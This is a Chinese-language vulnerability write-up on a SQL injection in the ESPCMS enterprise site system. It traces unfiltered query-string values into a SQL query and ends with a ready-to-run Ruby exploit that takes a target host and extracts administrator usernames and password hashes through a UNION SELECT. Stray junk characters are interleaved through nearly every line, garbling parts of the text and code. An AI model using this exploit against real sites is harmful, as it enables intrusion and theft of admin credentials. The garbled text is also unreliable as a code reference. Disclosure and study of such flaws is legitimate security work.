0×0 漏洞概述0×1 漏洞细节
2 v9 X9 ?, G \) Y* G% G0×2 PoC
. m; g9 Y$ v4 `+ { y7 ~ \! ~: z+ K- r" {
( ] [) ?- D4 x' \5 ]3 r* R$ `0 E: {) c1 D
0×0 漏洞概述
) a. s3 Z" T; X0 S7 d. J8 b; T1 ?1 D. C( v/ ~, B5 C
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。2 ]( i! \/ i4 ~6 x0 G' C/ Y4 I
其在处理传入的参数时考虑不严谨导致SQL注入发生
! y9 r; N& V: `- ~5 ~1 K" U3 t4 k
4 R/ q" v1 R2 q# E0×1 漏洞细节4 ?% J" L' A& ^2 P
' O% f0 }/ R H. _变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
* g0 l$ y% o @' M正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
* q1 p) ^& ~" X, F" T7 h而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
2 b: c4 D( Q- [. S; X0 n! y& [
在/interface/3gwap_search.php文件的in_result函数中:
4 ]7 {2 A2 X. F% }# `* k0 d. u: n9 B+ e# _+ l+ |: x
3 X, o% N, ~; f; x
- f0 l4 ~) s& {0 T5 _1 i4 M function in_result() {
: m, E* G2 n# i3 i w/ t' ?" Z5 V ... ... ... ... ... ... ... ... .../ H/ C# b' `2 s% w
$urlcode = $_SERVER[ 'QUERY_STRING '];
; C( y. t$ l$ ^- x parse_str(html_entity_decode($urlcode), $output); }( g$ K, w: K
' L6 m$ w& U. C( e
... ... ... ... ... ... ... ... ...
3 c- Q9 e3 ~3 t/ O% N$ c! D if (is_array($output['attr' ]) && count($output['attr']) > 0) {
3 |) J/ E* u0 i1 i
; J0 @1 e. \' F8 R. ` O $db_table = db_prefix . 'model_att';
, z& J$ o# d, s. m. u8 d* H& A0 g2 I+ Y/ }
foreach ($output['attr' ] as $key => $value) {
4 ~( T/ f5 Z* e; `/ O2 w$ F0 { if ($value) {4 m' v; o, K% j( a/ u2 k
( `4 a, d+ u8 x/ X' c
$key = addslashes($key);! a+ X, }# ^9 x0 r5 t
$key = $this-> fun->inputcodetrim($key);
% O- A4 I* G- B% h. J $db_att_where = " WHERE isclass=1 AND attrname='$key'";6 H2 X( ]/ c' y7 _$ z
$countnum = $this->db_numrows($db_table, $db_att_where);7 O! {3 ^ o8 _ r0 r |3 x5 O
if ($countnum > 0) {4 r |! A4 {+ Y/ ]! _
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
8 D# L& S6 }3 z1 \9 F7 V }
4 C* ~7 K K, h& @1 ~0 V# I/ e% }% ^ }
; n3 r8 V( ?4 T7 M6 d }
5 K7 b1 f! J7 |1 C, K4 L }
- C' q2 I: x4 [/ [/ }$ v! x if (!empty ($keyword) && empty($keyname)) {+ M4 u7 P5 R. i4 Y" }2 B! U
$keyname = 'title';$ E1 Z; r% G- q' S. v
$db_where.= " AND a.title like '%$keyword%'" ;
5 b0 L- L( t- G1 C) [% r5 h } elseif (!empty ($keyword) && !empty($keyname)) {% E( ~& |1 w8 E8 `) J
$db_where.= " AND $keyname like '% $keyword%'";
* C `& z; s7 O1 _ }' K( X* B* S Z% n0 m U
$pagemax = 15;0 j6 n/ F; S5 Y ]3 C. R
+ d+ ]; t! R- h+ P $pagesylte = 1;
' N% Q! u) z* v! n, h4 N1 o# g2 I5 A* M& P6 `$ o& n
if ($countnum > 0) {9 y. L4 E; O: K }
+ L; m1 L! t/ `2 K $numpage = ceil($countnum / $pagemax);" s, b3 m: ^( r) t) ~. Q, d
} else {
2 i$ J% g) e4 v; ? $numpage = 1;+ r4 Z3 k' I/ ]2 F$ a2 q& j7 C+ }# c
}& X% X) n5 j2 w0 K
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;' A( u2 ~ r3 C& e
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
0 N& o0 |) N% v- \$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
3 [2 x4 {$ v2 d: T/ j, E: Z( D" a4 F5 f ... ... ... ... ... ... ... ... ...
" P( Y/ T) A1 r; Q" [# n& W }2 \3 H. @9 I6 q A0 G
0 i3 h3 f' }% _' `) Z
! u% G$ C \( N9 m6 r0×2 PoC; Z4 `. G- ?5 Z3 W, m7 `
7 \3 N$ v& `* V: h. v' Z/ v2 I( h4 d9 E! l( G
7 e3 _3 i' C/ q# ]4 ^
require "net/http"
, _8 v' W9 A9 C$ z
# l% H7 ~% ~" V z8 n( idef request(method, url)
, Y* F. x% L; w! _( G if method.eql?("get")$ B# ^ Q$ p- }+ w" _& J# |
uri = URI.parse(url)& h$ }' s# F4 ]; T. M
http = Net::HTTP.new(uri.host, uri.port)
% L O: o! h- v- w6 N5 b response = http.request(Net::HTTP::Get.new(uri.request_uri))$ {: s+ B8 f; b
return response
- x/ [6 M. W$ Y) i end! D l) w9 I% X O: X- K4 m
end
0 o+ R. \; [; ^% }- w" M5 D; _. T9 C. M
doc =<<HERE
9 O* |6 \+ R0 O1 c ^# _3 n3 B-------------------------------------------------------
q; @- W P- }- d4 O8 [' NEspcms Injection Exploit7 p& c0 n' k4 h4 B: r- A5 b# `
Author:ztz8 v5 O# i/ d4 K4 U' g/ o" f, Y, \. s
Blog:http://ztz.fuzzexp.org/1 G4 m# ~! ?( `
-------------------------------------------------------
: e) q) E; p n& y
7 n& s$ A \8 ^- A" Q5 L& g# OHERE* d7 ]9 I; J& c N) t3 x- E8 ?; D
+ o/ @( p. K5 c) s! B# l
usage =<<HERE- W# K. d! f2 C, l
Usage: ruby #{$0} host port path
, T9 u% }$ n/ f' _, a' J) X7 t6 O% b8 Rexample: ruby #{$0} www.target.com 80 /
- e8 K& y9 e$ L: OHERE
/ o' j* X9 u4 f4 o2 O0 C( x0 h) y m5 i2 ]! ?4 g
puts doc
+ S9 c7 }) b# u: o% fif ARGV.length < 3
3 o7 \; C$ d! E puts usage
- v' L) S3 E; r* s1 V% y: R) M6 Xelse
; J2 h( v& P. |1 R [; n $host = ARGV[0]
* y, a5 ^% Q/ x) d! t( d! ?' L $port = ARGV[1]
# |) _( Q: V0 Q- |( \3 ? $path = ARGV[2]* D) a! @3 Q2 p+ W' L6 [
$ m8 Z; b, H3 {5 U
puts "send request..."
( C I6 h( K& Q' A- E9 s url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
( A3 p& A& c' L" Sattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13* i$ k& S. W I6 i, T
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
. N; F3 c9 S N9 a' C X,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"0 y7 a$ C* J+ I* O
response = request("get", url)0 P: `0 g& [$ Y
result = response.body.scan(/\w+&\w{32}/)% o, n, o2 | l1 _) [( F
puts result
% H6 b# a5 L, A1 A: j/ i5 E% Kend/ L+ {; o- V; `* D E2 f. O
3 t( D1 x# y1 c/ c
|